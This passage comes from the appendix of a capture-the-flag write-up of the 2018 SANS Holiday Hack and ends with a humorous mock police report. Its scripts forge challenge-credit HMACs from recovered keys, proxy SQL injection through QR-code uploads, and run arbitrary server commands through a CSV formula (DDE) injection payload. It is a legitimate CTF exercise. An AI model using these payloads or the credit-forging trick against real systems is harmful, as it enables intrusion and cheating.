import hmac def calcHmac(secret, resourceId): return hmac.new(secret.encode('utf8'), resourceId.encode('utf8'), sha256).hexdigest() def printResponse(hash, resourceId): print('#####hhc:%s#####' % json.dumps({'hash': hash, 'resourceId': resourceId})) if __name__ == '__main__': RESOURCEID = os.environ.get('RESOURCE_ID') key = '2bb6b9c702834095a9c3284e053da124' h = hmac.new(key.encode('utf8'), RESOURCEID.encode('utf8'), sha256) payload = {'hash': h.hexdigest(),'resourceid': RESOURCEID} hmac256 = calcHmac(key, RESOURCEID) printResponse(hmac256, RESOURCEID)
Each in-game element (terminal, objective, etc.) has a unique resource ID, and each user receives different resource IDs. These IDs are passed to the terminal via a GET parameter.
The terminals print a special message, which is hidden by the JavaScript TTY terminal.
We can create a bash one-liner to just give ourselves credit for this challenge, without actually solving it:
RESULT=$(echo -n RESOURCE_ID | openssl dgst -sha256 -hmac 48e41d5cc5e041c0869395bb8cab791e | sed 's/^.* //'); \ echo; echo '#####hhc:{"hash": "'$RESULT'", "resourceId": "'$RESOURCE_ID'"}#####'
This duplicates the logic in the Python script. It uses OpenSSL to calculate the HMAC, and then it prints the hidden message, which causes the game to give us credit.
Challenge Keys
Terminal | Direct URL | HMAC Key |
---|---|---|
Essential Editor Skills | viescape | 2bb6b9c702834095a9c3284e053da124 |
The Name Game | pwshmenu | 78871929eec84c94806623a086b376f0 |
Lethal ForensicELFification | viminfo | 48e41d5cc5e041c0869395bb8cab791e |
Stall Mucking Report | plaintext-creds | |
CURLing Master | http2 | |
Yule Log Analysis | spray-detect | 81013803273d4c58b0e2e5ed869c3677 |
Dev Ops Fail | gitpasshist | 32f7f08dbb014bb3a288ecc9ecce1486 |
Python Escape from LA | python_docker_challenge | 09f90c21d59845a7b0c972b8e871e8fe |
The Sleighbell Lottery | unlinked-function | a6ec0e49731b4c29907422c23794b9a6 |
Snort | snort | 4069e612c5d44c69b9ba302ce63968d7 |
The Sleighbell Lottery key was recovered with gdb
.
Appendix 3: Scripts and Tools
As part of this report, we're releasing our scripts and tools at: https://github.com/esnet/sans-holiday-hack-2018
Some select tools, which were mentioned in this report are listed below:
Scan-O-Matic
We wrote this simple script to create and upload a QR code:
#!/bin/bash BADGE=$(mktemp -t badge) CMD="$1" qrencode -t ansi "$CMD" -o $BADGE -t PNG mv $BADGE $BADGE.png curl -s 'https://scanomatic.kringlecastle.com/upload' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: resource_id=false' -H 'Connection: keep-alive' -F "barcode=@$BADGE.png" rm $BADGE.png
We wanted to used tools that can automatically map SQL databases, such as sqlmap
, but they all use URLs, and not QR codes. So we hacked together this script, which calls the badge shell script, and just acts as a go-between:
from subprocess import Popen, PIPE import urllib from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/') def proxy(): uid = urllib.unquote(request.args.get('uid', '')) p = Popen(['bash', './upload.sh', uid], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() return jsonify(output)
Careers
Uploading a CSV file by hand became old fast, so we wrote this:
#!/usr/bin/env python import sys import time import uuid import requests cmd = sys.argv[1] output = uuid.uuid4().hex + '.txt' data = {'firstname': 'Willy', 'lastname': 'Wonka', 'phone': '1234567890', 'email': 'willy@wonka.com'} files = {'csv': ('work_history.csv', "=cmd|'/C %s > C:\\careerportal\\resources\\public\\%s 2>&1'!A0" % (cmd, output))} r = requests.post('https://careers.kringlecastle.com/api/upload/application', data=data, files=files) print "Submitted, and recieved", r.status_code print 'Result should be in https://careers.kringlecastle.com/public/' + output while True: r = requests.get('https://careers.kringlecastle.com/public/' + output) if '404 Error!' not in r.text: print r.text[2:].decode('utf-16') break else: print "Not yet..." time.sleep(5) if len(sys.argv) == 3: with open("output/" + sys.argv[2], 'wb') as f: f.write(str(r.text[2:].decode('utf-16')))
It takes a command as an argument, will upload it, and then poll the server to get the result.
Malware
We used the following script to search for other files the malware author may have left on the system:
#!/usr/bin/env python import binascii import sys import dns.name import dns.resolver if len(sys.argv) < 2: print "Usage: filename" sys.exit(1) PATH = "erohetfanu_exfil" erohet = dns.resolver.Resolver() erohet.nameservers = ['104.196.126.19'] def query(name): print "Querying", name result = erohet.query("%s.erohetfanu.com" % name, "TXT").response.answer[0][-1].strings[0] return result filename = sys.argv[1] hex_file = binascii.hexlify(filename) result = query(hex_file) if result == "404NOTFOUND": print "File does not exist" sys.exit(1) try: chunks = int(result) except ValueError: print "Suspicious value", result with open(PATH + "/suspicious", 'a') as f: f.write(filename + ": " + result + "\n") sys.exit(1) filename = filename.replace("..", "<DOTDOT>") filename = filename.replace("/", "<SLASH>") with open(PATH + "/%s" % filename, 'wb') as f: for chunk in range(chunks): if chunks > 1000 and chunk % 100 == 0 and chunk != 0: print "On chunk", chunk f.write(binascii.unhexlify(query("%s.%s" % (chunk, hex_file)))) print "Written to", PATH + "/%s" % filename
Maze Solver
# Python 3 import requests import re import time location_keys = {} location_shafts = {} def move(heading, x, y, f, action='forward', resourceid='inigomontoya'): key = location_keys[(x, y, f)] return requests.post('https://vents.kringlecastle.com/move', data = {'heading': heading, 'mazex': x, 'mazey': y, 'mazef': f, 'playeraction': action, 'locationkey': key, 'resourceid': resourceid}) def parse(result): # default action a = "forward" # Check for a change in response size. # We did this (with some other code adjustments) to fully explore every vent space # and verify there weren't any other secrets. # if(len(result.text) > 3514) or len(result.text) < 3509: # print("Length: ",len(result.text)) for line in result.text.split('\n'): if(re.search(r'Congratulations',line)): print(result.text) exit(1) if ' = ' not in line: continue data, val = line.split(' = ', 1) if '"' not in val: continue value = val.split('"')[1] if(re.search(r'arrow\-up',data) and value=="visible"): a="up" continue if(re.search(r'arrow\-down',data) and value=="visible"): a="down" continue match = re.search(r'namedItem\(\"(\w+)\"\)',data) if match is not None: key = match.group(1) if(key == "heading"): # we already know our heading, we don't really need this. heading=str(value) elif(key == "mazex"): x = int(value) elif(key == "mazey"): y = int(value) elif(key == "mazef"): f = int(value) elif(key == "locationkey"): lk = str(value) elif(key == "resourceid"): rid = str(value) if(rid != "inigomontoya"): print("Resource ID changed? %s",rid) exit(1) elif(key == "northwall"): n = value == "True" elif(key == "southwall"): s = value == "True" elif(key == "eastwall"): e = value == "True" elif(key == "westwall"): w = value == "True" else: print("Unknown namedItem: %s",key) # yeah yeah... we could throw an exception instead exit(1) try: location_keys[(x, y, f)] = lk except: print(result.text) return a, x, y, f, n, s, e, w def print_map(x,y,f): for j in range(1,20): for fl in range(1,3): for i in range(1,24): if(x == i and y == j and f == fl): print("X", end='') elif((i,j,fl) in location_shafts): print("%s" % location_shafts[(i,j,fl)], end='') elif((i,j,fl) in location_keys): print(chr(9608), end='') else: print(".", end='') print(" ", end='') print() def determine_heading(heading,n,w,s,e): # hug the right wall walls = [n,w,s,e] # The order we test in, wrapping as necessary. order = ['n','w','s','e'] directions = { 'n': 0, 'w': 1, 's': 2, 'e': 3 } cur = directions[heading] # to start, look right cur = (cur-1) % 4 for i in range(0,4): if walls[cur] == False: return order[cur] # check one turn to the left. cur = (cur+1) % 4 print("This should never happen, how did I get surrounded by walls?") exit(1) # Starting position x = 23 y = 19 f = 1 n, s, e, w = True, True, True, False location_keys[(23, 19, 1)] = 'ba49a09644aa8fa7fb0082e935f46521' heading = "w" action = "forward" location_shafts[(23,19,1)] = "S" i = 0 while(True): # determine move: heading = determine_heading(heading,n,w,s,e) result = move(heading, x, y, f, action=action) last_action = action action, x, y, f, n, s, e, w = parse(result) # a little more useful symbols for the map if(action == "up"): location_shafts[(x,y,f)] = "U" # TEMP don't go up, keep exploring # action = "forward" if(action == "down"): location_shafts[(x,y,f)] = "D" # TEMP don't go down from 2F, keep exploring # action = "forward" # don't get stuck going up and down in a loop if(action == "down" and last_action=="up"): action = "forward" elif(action == "up" and last_action=="down"): action = "forward" print("%i %i,%i,%i %s" % (i, x, y, f,location_keys[(x,y,f)])) # We know this is the exit in this case. if(action=="down"): print_map(x,y,f) # be nice time.sleep(0.50) # Just helps keep track of what's going on visually. i = i + 1 if(i == 20): print_map(x, y, f) i = 0 print_map(x, y, f)
Postscript: Police Report
Case No: 951-262-3062 (Note to filing clerk: make sure to put this in the case number line, NOT the phone number line, this is also Santa Claus’ phone number and it’s easy to confuse)
Date: 12/21/2018
Reporting Officer: Sgt. Al Powell
Prepared By: ESnet Security
Incident: On the day of the 18th, ESnet Security was told of hostages being taken at Kringlecon.
POLICE REPORT
Summary: After speaking to Santa’s Elves, we were warned that all was not as it seemed at Kringlecon. The Toy Soldiers appeared to be up to something. We were able to ascertain many clues throughout the castle using many different digital forensic techniques. These clues pointed us to our belief that the Toy Soldiers were actually working for Hans Gruber. Hans was in turn, working for none other than Santa Claus himself. It seems Santa Claus had a feeling he could use some investigative help at some point in the future, so he set up this test to see if we were the people he should call on in the future.
Figure 70: Hans Gruber, person of interest
1988: Kidnapping, Murder, Attempted Grand Larceny - Took hostages at Nakatomi Plaza in an attempt to steal $640 million dollars in bearer bonds
Figure 71: Santa Claus, interesting person
~280 AD - 2018: Breaking and entering into homes around the world every winter. Estimates suggest 640 million per year (coincidentally the same amount Hans attempted to steal)